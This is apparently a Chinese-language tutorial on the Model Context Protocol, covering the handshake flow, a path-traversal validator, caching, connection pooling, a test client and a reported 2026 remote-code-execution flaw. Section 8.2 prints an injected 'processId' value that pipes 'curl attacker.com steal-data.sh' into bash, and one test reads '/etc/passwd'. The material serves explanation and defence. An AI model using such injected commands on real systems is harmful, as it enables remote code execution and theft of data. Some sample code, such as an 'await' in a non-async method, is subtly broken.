│ │ capabilities: {...}, │ │
│ │ serverInfo: {...} │ │
│ │ }, │ │
│ │ id: 1 │ │
│ │ } │ │
│ │ │ │
│ │ ──── initialized (notification) ──▶│ 握手完成通知 │
│ │ { │ │
│ │ jsonrpc: "2.0", │ │
│ │ method: "initialized" │ │
│ │ } │ │
│ │ │ │
│ 阶段3:工具调用 │
│ ──────────────────────────────────────────────────────────────────── │
│ │
│ │ ──── tools/list ─────────────────▶│ 获取工具列表 │
│ │ │ │
│ │◀──── { │ 返回工具定义 │
│ │ result: { │ │
│ │ tools: [ │ │
│ │ { name: "read_file", ... },│ │
│ │ { name: "write_file", ... }│ │
│ │ ] │ │
│ │ } │ │
│ │ } │ │
│ │ │ │
│ │ ──── tools/call ──────────────────▶│ 调用工具 │
│ │ { │ │
│ │ method: "tools/call", │ │
│ │ params: { │ │
│ │ name: "read_file", │ │
│ │ arguments: { │ │
│ │ path: "README.md" │ │
│ │ } │ │
│ │ } │ │
│ │ } │ │
│ │ │ │
│ │◀──── { │ 返回结果 │
│ │ result: { │ │
│ │ content: [ │ │
│ │ { type: "text", text: "..."}│ │
│ │ ] │ │
│ │ } │ │
│ │ } │ │
│ │ │ │
│ 阶段4:资源访问 │
│ ──────────────────────────────────────────────────────────────────── │
│ │
│ │ ──── resources/list ─────────────▶│ 获取资源列表 │
│ │◀──── { result: { resources: [...] }}│ │
│ │ │ │
│ │ ──── resources/subscribe ─────────▶│ 订阅资源 │
│ │ │ │
│ │◀──── { method: "resources/updated", │ 资源变更通知 │
│ │ params: { uri: "..." } │ │
│ │ } │ │
│ │ │ │
│ 阶段5:连接关闭 │
│ ──────────────────────────────────────────────────────────────────── │
│ │
│ │ ──── close ────────────────────────▶│ 关闭连接 │
│ │ │ │
│ │
└─────────────────────────────────────────────────────────────────────────┘
六、最佳实践与进阶话题
6.1 安全最佳实践
/**
* MCP Server 安全检查工具集
*/
/**
* 安全配置
*/
interface SecurityOptions {
/** 允许的目录列表 */
allowedPaths?: string[];
/** 禁止的操作 */
forbiddenOperations?: string[];
/** 最大文件大小 */
maxFileSize?: number;
/** 操作超时 */
timeout?: number;
/** 是否记录审计日志 */
auditLog?: boolean;
}
/**
* 安全验证工具类
*/
class SecurityValidator {
private options: SecurityOptions;
constructor(options: SecurityOptions = {}) {
this.options = {
maxFileSize: 100 * 1024 * 1024, // 100MB
timeout: 30000, // 30秒
auditLog: true,
...options,
};
}
/**
* 验证路径安全性
*
* 防止路径遍历攻击
*/
validatePath(basePath: string, userPath: string): string {
// 解析绝对路径
const absolutePath = path.resolve(basePath, userPath);
// 规范化路径(处理 .. 和 . )
const normalizedPath = path.normalize(absolutePath);
// 检查是否在允许的目录内
if (this.options.allowedPaths && this.options.allowedPaths.length > 0) {
const isAllowed = this.options.allowedPaths.some(allowedPath =>
normalizedPath.startsWith(path.resolve(allowedPath))
);
if (!isAllowed) {
throw new SecurityError(
'PATH_NOT_ALLOWED',
`路径 "${userPath}" 不在允许的目录范围内`
);
}
}
// 确保路径仍然在basePath内(防止 .. 逃逸)
const resolvedBase = path.resolve(basePath);
if (!normalizedPath.startsWith(resolvedBase)) {
throw new SecurityError(
'PATH_TRAVERSAL',
`检测到路径遍历攻击尝试:${userPath}`
);
}
return normalizedPath;
}
/**
* 验证输入参数
*
* 防止注入攻击
*/
validateInput(input: unknown, schema: z.ZodType): unknown {
try {
return schema.parse(input);
} catch (error) {
throw new SecurityError(
'INVALID_INPUT',
`输入验证失败:${(error as Error).message}`
);
}
}
/**
* 验证文件大小
*/
validateFileSize(size: number): void {
if (this.options.maxFileSize && size > this.options.maxFileSize) {
throw new SecurityError(
'FILE_TOO_LARGE',
`文件大小 ${size} 超过限制 ${this.options.maxFileSize}`
);
}
}
/**
* 记录审计日志
*/
audit(action: string, details: Record<string, unknown>): void {
if (this.options.auditLog) {
console.log('[AUDIT]', JSON.stringify({
timestamp: new Date().toISOString(),
action,
...details,
}));
}
}
}
/**
* 安全错误类
*/
class SecurityError extends Error {
constructor(
public code: string,
message: string
) {
super(message);
this.name = 'SecurityError';
}
}
6.2 性能优化策略
/**
* MCP Server 性能优化策略
*/
/**
* 性能优化配置
*/
interface PerformanceOptions {
/** 连接池大小 */
connectionPoolSize?: number;
/** 缓存大小 */
cacheSize?: number;
/** 缓存TTL(毫秒) */
cacheTTL?: number;
/** 是否启用压缩 */
enableCompression?: boolean;
}
/**
* 缓存管理器
*/
class CacheManager<K, V> {
private cache = new Map<K, { value: V; expires: number }>();
private maxSize: number;
private ttl: number;
constructor(maxSize: number = 100, ttl: number = 60000) {
this.maxSize = maxSize;
this.ttl = ttl;
}
get(key: K): V | undefined {
const entry = this.cache.get(key);
if (!entry) {
return undefined;
}
// 检查过期
if (Date.now() > entry.expires) {
this.cache.delete(key);
return undefined;
}
return entry.value;
}
set(key: K, value: V): void {
// 清理过期条目
this.cleanup();
// 如果缓存已满,删除最老的条目
if (this.cache.size >= this.maxSize) {
const firstKey = this.cache.keys().next().value;
this.cache.delete(firstKey);
}
this.cache.set(key, {
value,
expires: Date.now() + this.ttl,
});
}
private cleanup(): void {
const now = Date.now();
for (const [key, entry] of this.cache.entries()) {
if (now > entry.expires) {
this.cache.delete(key);
}
}
}
clear(): void {
this.cache.clear();
}
}
/**
* 连接池
*/
class ConnectionPool<T> {
private pool: T[] = [];
private inUse: Set<T> = new Set();
private factory: () => Promise<T>;
private destroyer?: (connection: T) => Promise<void>;
private maxSize: number;
constructor(
factory: () => Promise<T>,
maxSize: number = 10,
destroyer?: (connection: T) => Promise<void>
) {
this.factory = factory;
this.maxSize = maxSize;
this.destroyer = destroyer;
}
async acquire(): Promise<T> {
// 先尝试从池中获取空闲连接
while (this.pool.length > 0) {
const connection = this.pool.pop()!;
// 验证连接是否有效
if (await this.isValid(connection)) {
this.inUse.add(connection);
return connection;
}
// 无效则销毁
if (this.destroyer) {
await this.destroyer(connection);
}
}
// 池为空且未达上限,创建新连接
if (this.inUse.size < this.maxSize) {
const connection = await this.factory();
this.inUse.add(connection);
return connection;
}
// 等待连接释放
return new Promise((resolve) => {
const interval = setInterval(async () => {
if (this.pool.length > 0) {
clearInterval(interval);
const connection = this.pool.pop()!;
this.inUse.add(connection);
resolve(connection);
}
}, 100);
});
}
release(connection: T): void {
this.inUse.delete(connection);
// 如果池未满,放回池中
if (this.pool.length < this.maxSize) {
this.pool.push(connection);
} else if (this.destroyer) {
// 池已满,销毁连接
await this.destroyer(connection);
}
}
private async isValid(connection: T): Promise<boolean> {
// 子类实现连接验证逻辑
return true;
}
async close(): Promise<void> {
if (this.destroyer) {
for (const connection of [...this.pool, ...this.inUse]) {
await this.destroyer(connection);
}
}
this.pool = [];
this.inUse.clear();
}
}
6.3 测试策略
/**
* MCP Server 测试框架
*/
import { spawn, ChildProcess } from 'child_process';
/**
* MCP Server 测试客户端
*/
class MCPTestClient {
private process: ChildProcess;
private requestId = 0;
private pendingRequests = new Map<string | number, {
resolve: (value: unknown) => void;
reject: (error: Error) => void;
}>();
constructor(serverCommand: string, serverArgs: string[]) {
this.process = spawn(serverCommand, serverArgs, {
stdio: ['pipe', 'pipe', 'pipe'],
});
this.process.stdout?.on('data', (data) => {
this.handleResponse(data.toString());
});
this.process.stderr?.on('data', (data) => {
console.error('[Server Error]', data.toString());
});
}
/**
* 发送请求并等待响应
*/
async request<T>(method: string, params?: Record<string, unknown>): Promise<T> {
const id = ++this.requestId;
const request = {
jsonrpc: '2.0',
method,
params: params || {},
id,
};
return new Promise((resolve, reject) => {
this.pendingRequests.set(id, { resolve, reject });
this.process.stdin?.write(JSON.stringify(request) + '\n');
// 超时处理
setTimeout(() => {
if (this.pendingRequests.has(id)) {
this.pendingRequests.delete(id);
reject(new Error(`请求超时: ${method}`));
}
}, 30000);
});
}
/**
* 发送通知(不等待响应)
*/
notification(method: string, params?: Record<string, unknown>): void {
const notification = {
jsonrpc: '2.0',
method,
params: params || {},
};
this.process.stdin?.write(JSON.stringify(notification) + '\n');
}
private handleResponse(data: string): void {
const lines = data.trim().split('\n');
for (const line of lines) {
try {
const response = JSON.parse(line);
// 通知消息
if (!response.id) {
this.handleNotification(response);
continue;
}
// 响应消息
const pending = this.pendingRequests.get(response.id);
if (pending) {
this.pendingRequests.delete(response.id);
if (response.error) {
pending.reject(new Error(response.error.message));
} else {
pending.resolve(response.result);
}
}
} catch (error) {
console.error('解析响应失败:', error);
}
}
}
private handleNotification(notification: Record<string, unknown>): void {
console.log('[Notification]', notification);
}
/**
* 初始化连接
*/
async initialize(): Promise<unknown> {
const response = await this.request('initialize', {
protocolVersion: '2024-11-05',
capabilities: {},
clientInfo: {
name: 'mcp-test-client',
version: '1.0.0',
},
});
this.notification('initialized');
return response;
}
/**
* 调用工具
*/
async callTool(name: string, args: Record<string, unknown>): Promise<unknown> {
return this.request('tools/call', { name, arguments: args });
}
/**
* 列出工具
*/
async listTools(): Promise<unknown> {
return this.request('tools/list');
}
/**
* 关闭连接
*/
close(): void {
this.process.kill();
this.pendingRequests.clear();
}
}
/**
* 测试辅助函数
*/
describe('MCP Server Tests', () => {
let client: MCPTestClient;
beforeAll(async () => {
client = new MCPTestClient('node', ['dist/server.js']);
await client.initialize();
});
afterAll(() => {
client.close();
});
it('应该能列出所有工具', async () => {
const response = await client.listTools() as { tools: any[] };
expect(response.tools).toBeDefined();
expect(Array.isArray(response.tools)).toBe(true);
});
it('应该能调用read_file工具', async () => {
const response = await client.callTool('read_file', {
path: 'test.txt',
}) as { content: any[] };
expect(response.content).toBeDefined();
expect(Array.isArray(response.content)).toBe(true);
});
it('应该正确处理错误', async () => {
await expect(
client.callTool('read_file', { path: '/etc/passwd' })
).rejects.toThrow();
});
});
七、总结与展望
7.1 MCP核心要点总结
┌─────────────────────────────────────────────────────────────────────────┐
│ MCP 知识要点总结 │
├─────────────────────────────────────────────────────────────────────────┤
│ │
│ ┌─────────────────────────────────────────────────────────────────┐ │
│ │ 一、协议定位 │ │
│ │ │ │
│ │ MCP = AI时代的USB协议 │ │
│ │ 目标:让AI工具"即插即用" │ │
│ │ 制定者:Anthropic │ │
│ └─────────────────────────────────────────────────────────────────┘ │
│ │
│ ┌─────────────────────────────────────────────────────────────────┐ │
│ │ 二、三层架构 │ │
│ │ │ │
│ │ Host(宿主应用) → AI能力载体,管理用户交互 │ │
│ │ Client(客户端) → 连接管理,路由协调 │ │
│ │ Server(服务器) → 业务逻辑,工具实现 │ │
│ └─────────────────────────────────────────────────────────────────┘ │
│ │
│ ┌─────────────────────────────────────────────────────────────────┐ │
│ │ 三、四大核心功能 │ │
│ │ │ │
│ │ Resources(资源) → 静态/动态数据访问 │ │
│ │ Tools(工具) → 可执行操作,AI主动调用 │ │
│ │ Prompts(提示模板) → 预定义提示词,可参数化 │ │
│ │ Sampling(采样) → Server主动生成内容 │ │
│ └─────────────────────────────────────────────────────────────────┘ │
│ │
│ ┌─────────────────────────────────────────────────────────────────┐ │
│ │ 四、关键优势 │ │
│ │ │ │
│ │ 标准化:一次编写,多处运行 │ │
│ │ 安全性:沙箱隔离,细粒度权限 │ │
│ │ 实时性:双向通信,资源订阅 │ │
│ │ 可发现性:自动工具发现,无需手动配置 │ │
│ └─────────────────────────────────────────────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────────────┘
7.2 MCP生态发展趋势(2026年)
| 趋势 | 当前状态 | 未来展望 |
|---|---|---|
| 协议标准化 | MCP成为事实标准 | 有望成为W3C/IETF正式标准 |
| 多模态支持 | 以文本为主 | 支持图像、音频、视频资源 |
| 分布式架构 | 单机为主 | 支持集群和微服务部署 |
| 安全增强 | 基础权限控制 | 零信任架构、细粒度审计 |
| 工具市场 | 社区驱动 | 企业级 marketplace |
| AI原生 | 辅助工具 | Agent自主构建工作流 |
7.3 资源链接
| 资源 | 链接 |
|---|---|
| 官方规范 | https://modelcontextprotocol.io |
| TypeScript SDK | @modelcontextprotocol/sdk |
| Python SDK | mcp |
| 官方Server列表 | modelcontextprotocol.io/servers |
| Claude Desktop | claude.ai/desktop |
| Jina MCP | r.jina.ai |
八、安全考虑与漏洞防范(2026年4月重要更新)
8.1 MCP安全漏洞概述
据安全机构OX Security于2026年4月15日发布的报告,MCP协议存在严重设计缺陷,可能导致远程代码执行(RCE)。这是架构层面的设计缺陷,并非普通疏忽,存在于官方MCP SDK中。
┌─────────────────────────────────────────────────────────────────────────┐
│ MCP 安全漏洞通报(OX Security 2026.04.15) │
├─────────────────────────────────────────────────────────────────────────┤
│ │
│ ⚠️ 漏洞等级:严重(Critical) │
│ 📅 披露时间:2026年4月15日 │
│ 🏢 发现者:OX Security │
│ 📋 CVE编号:已分配10+个严重级别CVE,仍在增加中 │
│ │
│ 受影响项目(部分): │
│ • LiteLLM │
│ • LangChain │
│ • IBM LangFlow │
│ • 所有基于MCP SDK构建的项目 │
│ │
└─────────────────────────────────────────────────────────────────────────┘
8.2 漏洞根源分析
问题的根源在于MCP SDK的STDIO接口设计。STDIO接口最初设计用于启动本地服务器进程,但其底层执行逻辑存在严重漏洞——它会运行任何传入的操作系统命令,即使服务器启动失败,该命令仍然会在没有任何验证或警告的情况下执行。
// 漏洞示意代码(问题所在)
// 当MCP服务器启动失败时,STDIO仍会执行传入的命令
// 攻击者可以构造恶意输入:
{
"jsonrpc": "2.0",
"method": "initialize",
"params": {
// 恶意命令注入
"processId": "; curl attacker.com steal-data.sh | bash"
}
}
8.3 四种主要攻击路径
| 攻击类型 | 描述 | 风险等级 |
|---|---|---|
| 未认证UI注入攻击 | 通过MCP输入注入恶意UI元素 | 高 |
| 安全加固绕过 | 绕过现有的安全限制 | 严重 |
| 提示词注入 | 注入恶意指令影响AI行为 | 高 |
| 恶意插件分发 | 通过插件系统分发恶意代码 | 严重 |
8.4 官方响应
截至目前,Anthropic方面尚未完全修复该漏洞。建议用户采取以下防护措施:
┌─────────────────────────────────────────────────────────────────────────┐
│ MCP 安全防护建议 │
├─────────────────────────────────────────────────────────────────────────┤
│ │
│ 1. 网络隔离 │
│ ❌ 不应将大语言模型或AI工具暴露在公网环境 │
│ ✅ 使用内网部署或VPN访问 │
│ │
│ 2. 输入验证 │
│ ❌ 不应将MCP输入视为可信数据 │
│ ✅ 对所有MCP输入进行严格验证和过滤 │
│ │
│ 3. 提示词防护 │
│ ❌ 不应直接执行用户提供的MCP工具描述 │
│ ✅ 使用提示词注入检测和过滤 │
│ │
│ 4. 最小权限原则 │
│ ❌ 不应给予AI工具过高的系统权限 │
│ ✅ 使用沙箱环境限制AI的操作范围 │
│ │
│ 5. 持续监控 │
│ ✅ 实施MCP调用的完整审计日志 │
│ ✅ 设置异常调用告警 │
│ │
└─────────────────────────────────────────────────────────────────────────┘
8.5 Streamable HTTP传输方案更新
MCP在2026年3月迎来了最大规模重构,推出了全新的Streamable HTTP传输方案,效率提升300%:
核心变更:
- 移除专用/sse端点:服务器不再需要维护SSE长连接
- 统一/message端点:处理所有通信,支持动态升级SSE流
- 无状态会话管理:客户端通过Mcp-Session-Id实现
- Serverless原生支持:完美适配Vercel/Cloudflare等平台
为何放弃WebSocket:
| 问题 | 解释 |
|---|---|
| 长连接冲突 | WebSocket需要持续长连接,与MCP的独立请求模式存在根本冲突 |
| 认证复杂化 | 无法传输HTTP头部信息,导致身份验证流程复杂化 |
| 协议不兼容 | 仅支持GET升级的特性与MCP主要使用的POST请求不兼容 |
性能提升数据:
- 某AI客服系统迁移后,服务器资源消耗降低47%
- 使用AWS Lambda部署,成本降低60%
延伸阅读:
Related Documents
Browser-only development
This document provides guidance for AI assistants working on the Image MetaHub codebase.
Claude Agents — Reference & Recommendations
Quick guide to available agents. Pick the one that best matches your task.
Golden DKG Prototype -- Master Plan
Rust prototype of the Golden non-interactive Distributed Key Generation protocol.
Swarms Examples Index
A comprehensive index of examples from the [Swarms Framework](https://github.com/The-Swarm-Corporation/swarms-examples).